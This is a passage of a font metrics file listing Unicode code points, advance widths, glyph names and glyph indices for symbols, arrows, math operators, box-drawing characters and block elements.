U 8300 ; WX 0 ; N uni206C ; G 1986
U 8301 ; WX 0 ; N uni206D ; G 1987
U 8302 ; WX 0 ; N uni206E ; G 1988
U 8303 ; WX 0 ; N uni206F ; G 1989
U 8304 ; WX 401 ; N uni2070 ; G 1990
U 8305 ; WX 201 ; N uni2071 ; G 1991
U 8308 ; WX 401 ; N uni2074 ; G 1992
U 8309 ; WX 401 ; N uni2075 ; G 1993
U 8310 ; WX 401 ; N uni2076 ; G 1994
U 8311 ; WX 401 ; N uni2077 ; G 1995
U 8312 ; WX 401 ; N uni2078 ; G 1996
U 8313 ; WX 401 ; N uni2079 ; G 1997
U 8314 ; WX 528 ; N uni207A ; G 1998
U 8315 ; WX 528 ; N uni207B ; G 1999
U 8316 ; WX 528 ; N uni207C ; G 2000
U 8317 ; WX 246 ; N uni207D ; G 2001
U 8318 ; WX 246 ; N uni207E ; G 2002
U 8319 ; WX 405 ; N uni207F ; G 2003
U 8320 ; WX 401 ; N uni2080 ; G 2004
U 8321 ; WX 401 ; N uni2081 ; G 2005
U 8322 ; WX 401 ; N uni2082 ; G 2006
U 8323 ; WX 401 ; N uni2083 ; G 2007
U 8324 ; WX 401 ; N uni2084 ; G 2008
U 8325 ; WX 401 ; N uni2085 ; G 2009
U 8326 ; WX 401 ; N uni2086 ; G 2010
U 8327 ; WX 401 ; N uni2087 ; G 2011
U 8328 ; WX 401 ; N uni2088 ; G 2012
U 8329 ; WX 401 ; N uni2089 ; G 2013
U 8330 ; WX 528 ; N uni208A ; G 2014
U 8331 ; WX 528 ; N uni208B ; G 2015
U 8332 ; WX 528 ; N uni208C ; G 2016
U 8333 ; WX 246 ; N uni208D ; G 2017
U 8334 ; WX 246 ; N uni208E ; G 2018
U 8336 ; WX 375 ; N uni2090 ; G 2019
U 8337 ; WX 387 ; N uni2091 ; G 2020
U 8338 ; WX 385 ; N uni2092 ; G 2021
U 8339 ; WX 355 ; N uni2093 ; G 2022
U 8340 ; WX 387 ; N uni2094 ; G 2023
U 8341 ; WX 433 ; N uni2095 ; G 2024
U 8342 ; WX 365 ; N uni2096 ; G 2025
U 8343 ; WX 243 ; N uni2097 ; G 2026
U 8344 ; WX 613 ; N uni2098 ; G 2027
U 8345 ; WX 405 ; N uni2099 ; G 2028
U 8346 ; WX 400 ; N uni209A ; G 2029
U 8347 ; WX 337 ; N uni209B ; G 2030
U 8348 ; WX 247 ; N uni209C ; G 2031
U 8358 ; WX 636 ; N uni20A6 ; G 2032
U 8364 ; WX 636 ; N Euro ; G 2033
U 8367 ; WX 1057 ; N uni20AF ; G 2034
U 8369 ; WX 706 ; N uni20B1 ; G 2035
U 8372 ; WX 780 ; N uni20B4 ; G 2036
U 8373 ; WX 636 ; N uni20B5 ; G 2037
U 8376 ; WX 636 ; N uni20B8 ; G 2038
U 8377 ; WX 636 ; N uni20B9 ; G 2039
U 8378 ; WX 636 ; N uni20BA ; G 2040
U 8381 ; WX 636 ; N uni20BD ; G 2041
U 8451 ; WX 1119 ; N uni2103 ; G 2042
U 8457 ; WX 1047 ; N uni2109 ; G 2043
U 8462 ; WX 644 ; N uni210E ; G 2044
U 8463 ; WX 644 ; N uni210F ; G 2045
U 8470 ; WX 946 ; N uni2116 ; G 2046
U 8482 ; WX 1000 ; N trademark ; G 2047
U 8486 ; WX 829 ; N uni2126 ; G 2048
U 8487 ; WX 829 ; N uni2127 ; G 2049
U 8490 ; WX 747 ; N uni212A ; G 2050
U 8491 ; WX 722 ; N uni212B ; G 2051
U 8498 ; WX 694 ; N uni2132 ; G 2052
U 8513 ; WX 775 ; N uni2141 ; G 2053
U 8514 ; WX 557 ; N uni2142 ; G 2054
U 8515 ; WX 557 ; N uni2143 ; G 2055
U 8516 ; WX 611 ; N uni2144 ; G 2056
U 8523 ; WX 890 ; N uni214B ; G 2057
U 8526 ; WX 514 ; N uni214E ; G 2058
U 8528 ; WX 969 ; N uni2150 ; G 2059
U 8529 ; WX 969 ; N uni2151 ; G 2060
U 8530 ; WX 1370 ; N uni2152 ; G 2061
U 8531 ; WX 969 ; N onethird ; G 2062
U 8532 ; WX 969 ; N twothirds ; G 2063
U 8533 ; WX 969 ; N uni2155 ; G 2064
U 8534 ; WX 969 ; N uni2156 ; G 2065
U 8535 ; WX 969 ; N uni2157 ; G 2066
U 8536 ; WX 969 ; N uni2158 ; G 2067
U 8537 ; WX 969 ; N uni2159 ; G 2068
U 8538 ; WX 969 ; N uni215A ; G 2069
U 8539 ; WX 969 ; N oneeighth ; G 2070
U 8540 ; WX 969 ; N threeeighths ; G 2071
U 8541 ; WX 969 ; N fiveeighths ; G 2072
U 8542 ; WX 969 ; N seveneighths ; G 2073
U 8543 ; WX 568 ; N uni215F ; G 2074
U 8544 ; WX 395 ; N uni2160 ; G 2075
U 8545 ; WX 680 ; N uni2161 ; G 2076
U 8546 ; WX 964 ; N uni2162 ; G 2077
U 8547 ; WX 999 ; N uni2163 ; G 2078
U 8548 ; WX 722 ; N uni2164 ; G 2079
U 8549 ; WX 1006 ; N uni2165 ; G 2080
U 8550 ; WX 1291 ; N uni2166 ; G 2081
U 8551 ; WX 1575 ; N uni2167 ; G 2082
U 8552 ; WX 965 ; N uni2168 ; G 2083
U 8553 ; WX 712 ; N uni2169 ; G 2084
U 8554 ; WX 969 ; N uni216A ; G 2085
U 8555 ; WX 1253 ; N uni216B ; G 2086
U 8556 ; WX 664 ; N uni216C ; G 2087
U 8557 ; WX 765 ; N uni216D ; G 2088
U 8558 ; WX 802 ; N uni216E ; G 2089
U 8559 ; WX 1024 ; N uni216F ; G 2090
U 8560 ; WX 320 ; N uni2170 ; G 2091
U 8561 ; WX 640 ; N uni2171 ; G 2092
U 8562 ; WX 959 ; N uni2172 ; G 2093
U 8563 ; WX 885 ; N uni2173 ; G 2094
U 8564 ; WX 565 ; N uni2174 ; G 2095
U 8565 ; WX 885 ; N uni2175 ; G 2096
U 8566 ; WX 1205 ; N uni2176 ; G 2097
U 8567 ; WX 1524 ; N uni2177 ; G 2098
U 8568 ; WX 884 ; N uni2178 ; G 2099
U 8569 ; WX 564 ; N uni2179 ; G 2100
U 8570 ; WX 884 ; N uni217A ; G 2101
U 8571 ; WX 1204 ; N uni217B ; G 2102
U 8572 ; WX 320 ; N uni217C ; G 2103
U 8573 ; WX 560 ; N uni217D ; G 2104
U 8574 ; WX 640 ; N uni217E ; G 2105
U 8575 ; WX 948 ; N uni217F ; G 2106
U 8576 ; WX 1206 ; N uni2180 ; G 2107
U 8577 ; WX 802 ; N uni2181 ; G 2108
U 8578 ; WX 1206 ; N uni2182 ; G 2109
U 8579 ; WX 765 ; N uni2183 ; G 2110
U 8580 ; WX 560 ; N uni2184 ; G 2111
U 8581 ; WX 765 ; N uni2185 ; G 2112
U 8585 ; WX 969 ; N uni2189 ; G 2113
U 8592 ; WX 838 ; N arrowleft ; G 2114
U 8593 ; WX 838 ; N arrowup ; G 2115
U 8594 ; WX 838 ; N arrowright ; G 2116
U 8595 ; WX 838 ; N arrowdown ; G 2117
U 8596 ; WX 838 ; N arrowboth ; G 2118
U 8597 ; WX 838 ; N arrowupdn ; G 2119
U 8598 ; WX 838 ; N uni2196 ; G 2120
U 8599 ; WX 838 ; N uni2197 ; G 2121
U 8600 ; WX 838 ; N uni2198 ; G 2122
U 8601 ; WX 838 ; N uni2199 ; G 2123
U 8602 ; WX 838 ; N uni219A ; G 2124
U 8603 ; WX 838 ; N uni219B ; G 2125
U 8604 ; WX 838 ; N uni219C ; G 2126
U 8605 ; WX 838 ; N uni219D ; G 2127
U 8606 ; WX 838 ; N uni219E ; G 2128
U 8607 ; WX 838 ; N uni219F ; G 2129
U 8608 ; WX 838 ; N uni21A0 ; G 2130
U 8609 ; WX 838 ; N uni21A1 ; G 2131
U 8610 ; WX 838 ; N uni21A2 ; G 2132
U 8611 ; WX 838 ; N uni21A3 ; G 2133
U 8612 ; WX 838 ; N uni21A4 ; G 2134
U 8613 ; WX 838 ; N uni21A5 ; G 2135
U 8614 ; WX 838 ; N uni21A6 ; G 2136
U 8615 ; WX 838 ; N uni21A7 ; G 2137
U 8616 ; WX 838 ; N arrowupdnbse ; G 2138
U 8617 ; WX 838 ; N uni21A9 ; G 2139
U 8618 ; WX 838 ; N uni21AA ; G 2140
U 8619 ; WX 838 ; N uni21AB ; G 2141
U 8620 ; WX 838 ; N uni21AC ; G 2142
U 8621 ; WX 838 ; N uni21AD ; G 2143
U 8622 ; WX 838 ; N uni21AE ; G 2144
U 8623 ; WX 838 ; N uni21AF ; G 2145
U 8624 ; WX 838 ; N uni21B0 ; G 2146
U 8625 ; WX 838 ; N uni21B1 ; G 2147
U 8626 ; WX 838 ; N uni21B2 ; G 2148
U 8627 ; WX 838 ; N uni21B3 ; G 2149
U 8628 ; WX 838 ; N uni21B4 ; G 2150
U 8629 ; WX 838 ; N carriagereturn ; G 2151
U 8630 ; WX 838 ; N uni21B6 ; G 2152
U 8631 ; WX 838 ; N uni21B7 ; G 2153
U 8632 ; WX 838 ; N uni21B8 ; G 2154
U 8633 ; WX 838 ; N uni21B9 ; G 2155
U 8634 ; WX 838 ; N uni21BA ; G 2156
U 8635 ; WX 838 ; N uni21BB ; G 2157
U 8636 ; WX 838 ; N uni21BC ; G 2158
U 8637 ; WX 838 ; N uni21BD ; G 2159
U 8638 ; WX 838 ; N uni21BE ; G 2160
U 8639 ; WX 838 ; N uni21BF ; G 2161
U 8640 ; WX 838 ; N uni21C0 ; G 2162
U 8641 ; WX 838 ; N uni21C1 ; G 2163
U 8642 ; WX 838 ; N uni21C2 ; G 2164
U 8643 ; WX 838 ; N uni21C3 ; G 2165
U 8644 ; WX 838 ; N uni21C4 ; G 2166
U 8645 ; WX 838 ; N uni21C5 ; G 2167
U 8646 ; WX 838 ; N uni21C6 ; G 2168
U 8647 ; WX 838 ; N uni21C7 ; G 2169
U 8648 ; WX 838 ; N uni21C8 ; G 2170
U 8649 ; WX 838 ; N uni21C9 ; G 2171
U 8650 ; WX 838 ; N uni21CA ; G 2172
U 8651 ; WX 838 ; N uni21CB ; G 2173
U 8652 ; WX 838 ; N uni21CC ; G 2174
U 8653 ; WX 838 ; N uni21CD ; G 2175
U 8654 ; WX 838 ; N uni21CE ; G 2176
U 8655 ; WX 838 ; N uni21CF ; G 2177
U 8656 ; WX 838 ; N arrowdblleft ; G 2178
U 8657 ; WX 838 ; N arrowdblup ; G 2179
U 8658 ; WX 838 ; N arrowdblright ; G 2180
U 8659 ; WX 838 ; N arrowdbldown ; G 2181
U 8660 ; WX 838 ; N arrowdblboth ; G 2182
U 8661 ; WX 838 ; N uni21D5 ; G 2183
U 8662 ; WX 838 ; N uni21D6 ; G 2184
U 8663 ; WX 838 ; N uni21D7 ; G 2185
U 8664 ; WX 838 ; N uni21D8 ; G 2186
U 8665 ; WX 838 ; N uni21D9 ; G 2187
U 8666 ; WX 838 ; N uni21DA ; G 2188
U 8667 ; WX 838 ; N uni21DB ; G 2189
U 8668 ; WX 838 ; N uni21DC ; G 2190
U 8669 ; WX 838 ; N uni21DD ; G 2191
U 8670 ; WX 838 ; N uni21DE ; G 2192
U 8671 ; WX 838 ; N uni21DF ; G 2193
U 8672 ; WX 838 ; N uni21E0 ; G 2194
U 8673 ; WX 838 ; N uni21E1 ; G 2195
U 8674 ; WX 838 ; N uni21E2 ; G 2196
U 8675 ; WX 838 ; N uni21E3 ; G 2197
U 8676 ; WX 838 ; N uni21E4 ; G 2198
U 8677 ; WX 838 ; N uni21E5 ; G 2199
U 8678 ; WX 838 ; N uni21E6 ; G 2200
U 8679 ; WX 838 ; N uni21E7 ; G 2201
U 8680 ; WX 838 ; N uni21E8 ; G 2202
U 8681 ; WX 838 ; N uni21E9 ; G 2203
U 8682 ; WX 838 ; N uni21EA ; G 2204
U 8683 ; WX 838 ; N uni21EB ; G 2205
U 8684 ; WX 838 ; N uni21EC ; G 2206
U 8685 ; WX 838 ; N uni21ED ; G 2207
U 8686 ; WX 838 ; N uni21EE ; G 2208
U 8687 ; WX 838 ; N uni21EF ; G 2209
U 8688 ; WX 838 ; N uni21F0 ; G 2210
U 8689 ; WX 838 ; N uni21F1 ; G 2211
U 8690 ; WX 838 ; N uni21F2 ; G 2212
U 8691 ; WX 838 ; N uni21F3 ; G 2213
U 8692 ; WX 838 ; N uni21F4 ; G 2214
U 8693 ; WX 838 ; N uni21F5 ; G 2215
U 8694 ; WX 838 ; N uni21F6 ; G 2216
U 8695 ; WX 838 ; N uni21F7 ; G 2217
U 8696 ; WX 838 ; N uni21F8 ; G 2218
U 8697 ; WX 838 ; N uni21F9 ; G 2219
U 8698 ; WX 838 ; N uni21FA ; G 2220
U 8699 ; WX 838 ; N uni21FB ; G 2221
U 8700 ; WX 838 ; N uni21FC ; G 2222
U 8701 ; WX 838 ; N uni21FD ; G 2223
U 8702 ; WX 838 ; N uni21FE ; G 2224
U 8703 ; WX 838 ; N uni21FF ; G 2225
U 8704 ; WX 604 ; N universal ; G 2226
U 8706 ; WX 517 ; N partialdiff ; G 2227
U 8707 ; WX 542 ; N existential ; G 2228
U 8708 ; WX 542 ; N uni2204 ; G 2229
U 8710 ; WX 698 ; N increment ; G 2230
U 8711 ; WX 698 ; N gradient ; G 2231
U 8712 ; WX 740 ; N element ; G 2232
U 8713 ; WX 740 ; N notelement ; G 2233
U 8715 ; WX 740 ; N suchthat ; G 2234
U 8716 ; WX 740 ; N uni220C ; G 2235
U 8719 ; WX 796 ; N product ; G 2236
U 8720 ; WX 796 ; N uni2210 ; G 2237
U 8721 ; WX 714 ; N summation ; G 2238
U 8722 ; WX 838 ; N minus ; G 2239
U 8723 ; WX 838 ; N uni2213 ; G 2240
U 8724 ; WX 838 ; N uni2214 ; G 2241
U 8725 ; WX 337 ; N uni2215 ; G 2242
U 8727 ; WX 680 ; N asteriskmath ; G 2243
U 8728 ; WX 490 ; N uni2218 ; G 2244
U 8729 ; WX 490 ; N uni2219 ; G 2245
U 8730 ; WX 637 ; N radical ; G 2246
U 8731 ; WX 637 ; N uni221B ; G 2247
U 8732 ; WX 637 ; N uni221C ; G 2248
U 8733 ; WX 677 ; N proportional ; G 2249
U 8734 ; WX 833 ; N infinity ; G 2250
U 8735 ; WX 838 ; N orthogonal ; G 2251
U 8736 ; WX 838 ; N angle ; G 2252
U 8739 ; WX 291 ; N uni2223 ; G 2253
U 8740 ; WX 479 ; N uni2224 ; G 2254
U 8741 ; WX 462 ; N uni2225 ; G 2255
U 8742 ; WX 634 ; N uni2226 ; G 2256
U 8743 ; WX 732 ; N logicaland ; G 2257
U 8744 ; WX 732 ; N logicalor ; G 2258
U 8745 ; WX 838 ; N intersection ; G 2259
U 8746 ; WX 838 ; N union ; G 2260
U 8747 ; WX 521 ; N integral ; G 2261
U 8748 ; WX 852 ; N uni222C ; G 2262
U 8749 ; WX 1182 ; N uni222D ; G 2263
U 8760 ; WX 838 ; N uni2238 ; G 2264
U 8761 ; WX 838 ; N uni2239 ; G 2265
U 8762 ; WX 838 ; N uni223A ; G 2266
U 8763 ; WX 838 ; N uni223B ; G 2267
U 8764 ; WX 838 ; N similar ; G 2268
U 8765 ; WX 838 ; N uni223D ; G 2269
U 8770 ; WX 838 ; N uni2242 ; G 2270
U 8771 ; WX 838 ; N uni2243 ; G 2271
U 8776 ; WX 838 ; N approxequal ; G 2272
U 8784 ; WX 838 ; N uni2250 ; G 2273
U 8785 ; WX 838 ; N uni2251 ; G 2274
U 8786 ; WX 838 ; N uni2252 ; G 2275
U 8787 ; WX 838 ; N uni2253 ; G 2276
U 8788 ; WX 1033 ; N uni2254 ; G 2277
U 8789 ; WX 1033 ; N uni2255 ; G 2278
U 8800 ; WX 838 ; N notequal ; G 2279
U 8801 ; WX 838 ; N equivalence ; G 2280
U 8804 ; WX 838 ; N lessequal ; G 2281
U 8805 ; WX 838 ; N greaterequal ; G 2282
U 8834 ; WX 838 ; N propersubset ; G 2283
U 8835 ; WX 838 ; N propersuperset ; G 2284
U 8836 ; WX 838 ; N notsubset ; G 2285
U 8837 ; WX 838 ; N uni2285 ; G 2286
U 8838 ; WX 838 ; N reflexsubset ; G 2287
U 8839 ; WX 838 ; N reflexsuperset ; G 2288
U 8844 ; WX 838 ; N uni228C ; G 2289
U 8845 ; WX 838 ; N uni228D ; G 2290
U 8846 ; WX 838 ; N uni228E ; G 2291
U 8847 ; WX 846 ; N uni228F ; G 2292
U 8848 ; WX 846 ; N uni2290 ; G 2293
U 8849 ; WX 846 ; N uni2291 ; G 2294
U 8850 ; WX 846 ; N uni2292 ; G 2295
U 8851 ; WX 838 ; N uni2293 ; G 2296
U 8852 ; WX 838 ; N uni2294 ; G 2297
U 8853 ; WX 838 ; N circleplus ; G 2298
U 8854 ; WX 838 ; N uni2296 ; G 2299
U 8855 ; WX 838 ; N circlemultiply ; G 2300
U 8856 ; WX 838 ; N uni2298 ; G 2301
U 8857 ; WX 838 ; N uni2299 ; G 2302
U 8858 ; WX 838 ; N uni229A ; G 2303
U 8859 ; WX 838 ; N uni229B ; G 2304
U 8860 ; WX 838 ; N uni229C ; G 2305
U 8861 ; WX 838 ; N uni229D ; G 2306
U 8862 ; WX 838 ; N uni229E ; G 2307
U 8863 ; WX 838 ; N uni229F ; G 2308
U 8864 ; WX 838 ; N uni22A0 ; G 2309
U 8865 ; WX 838 ; N uni22A1 ; G 2310
U 8866 ; WX 860 ; N uni22A2 ; G 2311
U 8867 ; WX 860 ; N uni22A3 ; G 2312
U 8868 ; WX 940 ; N uni22A4 ; G 2313
U 8869 ; WX 940 ; N perpendicular ; G 2314
U 8870 ; WX 567 ; N uni22A6 ; G 2315
U 8871 ; WX 567 ; N uni22A7 ; G 2316
U 8872 ; WX 860 ; N uni22A8 ; G 2317
U 8873 ; WX 860 ; N uni22A9 ; G 2318
U 8874 ; WX 860 ; N uni22AA ; G 2319
U 8875 ; WX 1031 ; N uni22AB ; G 2320
U 8876 ; WX 860 ; N uni22AC ; G 2321
U 8877 ; WX 860 ; N uni22AD ; G 2322
U 8878 ; WX 860 ; N uni22AE ; G 2323
U 8879 ; WX 1031 ; N uni22AF ; G 2324
U 8900 ; WX 626 ; N uni22C4 ; G 2325
U 8901 ; WX 342 ; N dotmath ; G 2326
U 8962 ; WX 764 ; N house ; G 2327
U 8968 ; WX 390 ; N uni2308 ; G 2328
U 8969 ; WX 390 ; N uni2309 ; G 2329
U 8970 ; WX 390 ; N uni230A ; G 2330
U 8971 ; WX 390 ; N uni230B ; G 2331
U 8976 ; WX 838 ; N revlogicalnot ; G 2332
U 8977 ; WX 513 ; N uni2311 ; G 2333
U 8984 ; WX 1000 ; N uni2318 ; G 2334
U 8985 ; WX 838 ; N uni2319 ; G 2335
U 8992 ; WX 521 ; N integraltp ; G 2336
U 8993 ; WX 521 ; N integralbt ; G 2337
U 8997 ; WX 1000 ; N uni2325 ; G 2338
U 9000 ; WX 1443 ; N uni2328 ; G 2339
U 9085 ; WX 919 ; N uni237D ; G 2340
U 9115 ; WX 500 ; N uni239B ; G 2341
U 9116 ; WX 500 ; N uni239C ; G 2342
U 9117 ; WX 500 ; N uni239D ; G 2343
U 9118 ; WX 500 ; N uni239E ; G 2344
U 9119 ; WX 500 ; N uni239F ; G 2345
U 9120 ; WX 500 ; N uni23A0 ; G 2346
U 9121 ; WX 500 ; N uni23A1 ; G 2347
U 9122 ; WX 500 ; N uni23A2 ; G 2348
U 9123 ; WX 500 ; N uni23A3 ; G 2349
U 9124 ; WX 500 ; N uni23A4 ; G 2350
U 9125 ; WX 500 ; N uni23A5 ; G 2351
U 9126 ; WX 500 ; N uni23A6 ; G 2352
U 9127 ; WX 750 ; N uni23A7 ; G 2353
U 9128 ; WX 750 ; N uni23A8 ; G 2354
U 9129 ; WX 750 ; N uni23A9 ; G 2355
U 9130 ; WX 750 ; N uni23AA ; G 2356
U 9131 ; WX 750 ; N uni23AB ; G 2357
U 9132 ; WX 750 ; N uni23AC ; G 2358
U 9133 ; WX 750 ; N uni23AD ; G 2359
U 9134 ; WX 521 ; N uni23AE ; G 2360
U 9167 ; WX 945 ; N uni23CF ; G 2361
U 9251 ; WX 764 ; N uni2423 ; G 2362
U 9472 ; WX 602 ; N SF100000 ; G 2363
U 9473 ; WX 602 ; N uni2501 ; G 2364
U 9474 ; WX 602 ; N SF110000 ; G 2365
U 9475 ; WX 602 ; N uni2503 ; G 2366
U 9476 ; WX 602 ; N uni2504 ; G 2367
U 9477 ; WX 602 ; N uni2505 ; G 2368
U 9478 ; WX 602 ; N uni2506 ; G 2369
U 9479 ; WX 602 ; N uni2507 ; G 2370
U 9480 ; WX 602 ; N uni2508 ; G 2371
U 9481 ; WX 602 ; N uni2509 ; G 2372
U 9482 ; WX 602 ; N uni250A ; G 2373
U 9483 ; WX 602 ; N uni250B ; G 2374
U 9484 ; WX 602 ; N SF010000 ; G 2375
U 9485 ; WX 602 ; N uni250D ; G 2376
U 9486 ; WX 602 ; N uni250E ; G 2377
U 9487 ; WX 602 ; N uni250F ; G 2378
U 9488 ; WX 602 ; N SF030000 ; G 2379
U 9489 ; WX 602 ; N uni2511 ; G 2380
U 9490 ; WX 602 ; N uni2512 ; G 2381
U 9491 ; WX 602 ; N uni2513 ; G 2382
U 9492 ; WX 602 ; N SF020000 ; G 2383
U 9493 ; WX 602 ; N uni2515 ; G 2384
U 9494 ; WX 602 ; N uni2516 ; G 2385
U 9495 ; WX 602 ; N uni2517 ; G 2386
U 9496 ; WX 602 ; N SF040000 ; G 2387
U 9497 ; WX 602 ; N uni2519 ; G 2388
U 9498 ; WX 602 ; N uni251A ; G 2389
U 9499 ; WX 602 ; N uni251B ; G 2390
U 9500 ; WX 602 ; N SF080000 ; G 2391
U 9501 ; WX 602 ; N uni251D ; G 2392
U 9502 ; WX 602 ; N uni251E ; G 2393
U 9503 ; WX 602 ; N uni251F ; G 2394
U 9504 ; WX 602 ; N uni2520 ; G 2395
U 9505 ; WX 602 ; N uni2521 ; G 2396
U 9506 ; WX 602 ; N uni2522 ; G 2397
U 9507 ; WX 602 ; N uni2523 ; G 2398
U 9508 ; WX 602 ; N SF090000 ; G 2399
U 9509 ; WX 602 ; N uni2525 ; G 2400
U 9510 ; WX 602 ; N uni2526 ; G 2401
U 9511 ; WX 602 ; N uni2527 ; G 2402
U 9512 ; WX 602 ; N uni2528 ; G 2403
U 9513 ; WX 602 ; N uni2529 ; G 2404
U 9514 ; WX 602 ; N uni252A ; G 2405
U 9515 ; WX 602 ; N uni252B ; G 2406
U 9516 ; WX 602 ; N SF060000 ; G 2407
U 9517 ; WX 602 ; N uni252D ; G 2408
U 9518 ; WX 602 ; N uni252E ; G 2409
U 9519 ; WX 602 ; N uni252F ; G 2410
U 9520 ; WX 602 ; N uni2530 ; G 2411
U 9521 ; WX 602 ; N uni2531 ; G 2412
U 9522 ; WX 602 ; N uni2532 ; G 2413
U 9523 ; WX 602 ; N uni2533 ; G 2414
U 9524 ; WX 602 ; N SF070000 ; G 2415
U 9525 ; WX 602 ; N uni2535 ; G 2416
U 9526 ; WX 602 ; N uni2536 ; G 2417
U 9527 ; WX 602 ; N uni2537 ; G 2418
U 9528 ; WX 602 ; N uni2538 ; G 2419
U 9529 ; WX 602 ; N uni2539 ; G 2420
U 9530 ; WX 602 ; N uni253A ; G 2421
U 9531 ; WX 602 ; N uni253B ; G 2422
U 9532 ; WX 602 ; N SF050000 ; G 2423
U 9533 ; WX 602 ; N uni253D ; G 2424
U 9534 ; WX 602 ; N uni253E ; G 2425
U 9535 ; WX 602 ; N uni253F ; G 2426
U 9536 ; WX 602 ; N uni2540 ; G 2427
U 9537 ; WX 602 ; N uni2541 ; G 2428
U 9538 ; WX 602 ; N uni2542 ; G 2429
U 9539 ; WX 602 ; N uni2543 ; G 2430
U 9540 ; WX 602 ; N uni2544 ; G 2431
U 9541 ; WX 602 ; N uni2545 ; G 2432
U 9542 ; WX 602 ; N uni2546 ; G 2433
U 9543 ; WX 602 ; N uni2547 ; G 2434
U 9544 ; WX 602 ; N uni2548 ; G 2435
U 9545 ; WX 602 ; N uni2549 ; G 2436
U 9546 ; WX 602 ; N uni254A ; G 2437
U 9547 ; WX 602 ; N uni254B ; G 2438
U 9548 ; WX 602 ; N uni254C ; G 2439
U 9549 ; WX 602 ; N uni254D ; G 2440
U 9550 ; WX 602 ; N uni254E ; G 2441
U 9551 ; WX 602 ; N uni254F ; G 2442
U 9552 ; WX 602 ; N SF430000 ; G 2443
U 9553 ; WX 602 ; N SF240000 ; G 2444
U 9554 ; WX 602 ; N SF510000 ; G 2445
U 9555 ; WX 602 ; N SF520000 ; G 2446
U 9556 ; WX 602 ; N SF390000 ; G 2447
U 9557 ; WX 602 ; N SF220000 ; G 2448
U 9558 ; WX 602 ; N SF210000 ; G 2449
U 9559 ; WX 602 ; N SF250000 ; G 2450
U 9560 ; WX 602 ; N SF500000 ; G 2451
U 9561 ; WX 602 ; N SF490000 ; G 2452
U 9562 ; WX 602 ; N SF380000 ; G 2453
U 9563 ; WX 602 ; N SF280000 ; G 2454
U 9564 ; WX 602 ; N SF270000 ; G 2455
U 9565 ; WX 602 ; N SF260000 ; G 2456
U 9566 ; WX 602 ; N SF360000 ; G 2457
U 9567 ; WX 602 ; N SF370000 ; G 2458
U 9568 ; WX 602 ; N SF420000 ; G 2459
U 9569 ; WX 602 ; N SF190000 ; G 2460
U 9570 ; WX 602 ; N SF200000 ; G 2461
U 9571 ; WX 602 ; N SF230000 ; G 2462
U 9572 ; WX 602 ; N SF470000 ; G 2463
U 9573 ; WX 602 ; N SF480000 ; G 2464
U 9574 ; WX 602 ; N SF410000 ; G 2465
U 9575 ; WX 602 ; N SF450000 ; G 2466
U 9576 ; WX 602 ; N SF460000 ; G 2467
U 9577 ; WX 602 ; N SF400000 ; G 2468
U 9578 ; WX 602 ; N SF540000 ; G 2469
U 9579 ; WX 602 ; N SF530000 ; G 2470
U 9580 ; WX 602 ; N SF440000 ; G 2471
U 9581 ; WX 602 ; N uni256D ; G 2472
U 9582 ; WX 602 ; N uni256E ; G 2473
U 9583 ; WX 602 ; N uni256F ; G 2474
U 9584 ; WX 602 ; N uni2570 ; G 2475
U 9585 ; WX 602 ; N uni2571 ; G 2476
U 9586 ; WX 602 ; N uni2572 ; G 2477
U 9587 ; WX 602 ; N uni2573 ; G 2478
U 9588 ; WX 602 ; N uni2574 ; G 2479
U 9589 ; WX 602 ; N uni2575 ; G 2480
U 9590 ; WX 602 ; N uni2576 ; G 2481
U 9591 ; WX 602 ; N uni2577 ; G 2482
U 9592 ; WX 602 ; N uni2578 ; G 2483
U 9593 ; WX 602 ; N uni2579 ; G 2484
U 9594 ; WX 602 ; N uni257A ; G 2485
U 9595 ; WX 602 ; N uni257B ; G 2486
U 9596 ; WX 602 ; N uni257C ; G 2487
U 9597 ; WX 602 ; N uni257D ; G 2488
U 9598 ; WX 602 ; N uni257E ; G 2489
U 9599 ; WX 602 ; N uni257F ; G 2490
U 9600 ; WX 769 ; N upblock ; G 2491
U 9601 ; WX 769 ; N uni2581 ; G 2492
U 9602 ; WX 769 ; N uni2582 ; G 2493
U 9603 ; WX 769 ; N uni2583 ; G 2494
U 9604 ; WX 769 ; N dnblock ; G 2495
U 9605 ; WX 769 ; N uni2585 ; G 2496
U 9606 ; WX 769 ; N uni2586 ; G 2497
U 9607 ; WX 769 ; N uni2587 ; G 2498
U 9608 ; WX 769 ; N block ; G 2499
U 9609 ; WX 769 ; N uni2589 ; G 2500
U 9610 ; WX 769 ; N uni258A ; G 2501
U 9611 ; WX 769 ; N uni258B ; G 2502
U 9612 ; WX 769 ; N lfblock ; G 2503
U 9613 ; WX 769 ; N uni258D ; G 2504
U 9614 ; WX 769 ; N uni258E ; G 2505
U 9615 ; WX 769 ; N uni258F ; G 2506
U 9616 ; WX 769 ; N rtblock ; G 2507
U 9617 ; WX 769 ; N ltshade ; G 2508
U 9618 ; WX 769 ; N shade ; G 2509
U 9619 ; WX 769 ; N dkshade ; G 2510
U 9620 ; WX 769 ; N uni2594 ; G 2511
U 9621 ; WX 769 ; N uni2595 ; G 2512
U 9622 ; WX 769 ; N uni2596 ; G 2513
U 9623 ; WX 769 ; N uni2597 ; G 2514
U 9624 ; WX 769 ; N uni2598 ; G 2515
U 9625 ; WX 769 ; N uni2599 ; G 2516
U 9626 ; WX 769 ; N uni259A ; G 2517
U 9627 ; WX 769 ; N uni259B ; G 2518
U 9628 ; WX 769 ; N uni259C ; G 2519
U 9629 ; WX 769 ; N uni259D ; G 2520
U 9630 ; WX 769 ; N uni259E ; G 2521
U 9631 ; WX 769 ; N uni259F ; G 2522
U 9632 ; WX 945 ; N filledbox ; G 2523
U 9633 ; WX 945 ; N H22073 ; G 2524
U 9634 ; WX 945 ; N uni25A2 ; G 2525
U 9635 ; WX 945 ; N uni25A3 ; G 2526
U 9636 ; WX 945 ; N uni25A4 ; G 2527
U 9637 ; WX 945 ; N uni25A5 ; G 2528
U 9638 ; WX 945 ; N uni25A6 ; G 2529
U 9639 ; WX 945 ; N uni25A7 ; G 2530
U 9640 ; WX 945 ; N uni25A8 ; G 2531
U 9641 ; WX 945 ; N uni25A9 ; G 2532
U 9642 ; WX 678 ; N H18543 ; G 2533
U 9643 ; WX 678 ; N H18551 ; G 2534
U 9644 ; WX 945 ; N filledrect ; G 2535
U 9645 ; WX 945 ; N uni25AD ; G 2536
U 9646 ; WX 550 ; N uni25AE ; G 2537
U 9647 ; WX 550 ; N uni25AF ; G 2538
U 9648 ; WX 769 ; N uni25B0 ; G 2539
U 9649 ; WX 769 ; N uni25B1 ; G 2540
U 9650 ; WX 769 ; N triagup ; G 2541
U 9651 ; WX 769 ; N uni25B3 ; G 2542
U 9652 ; WX 502 ; N uni25B4 ; G 2543
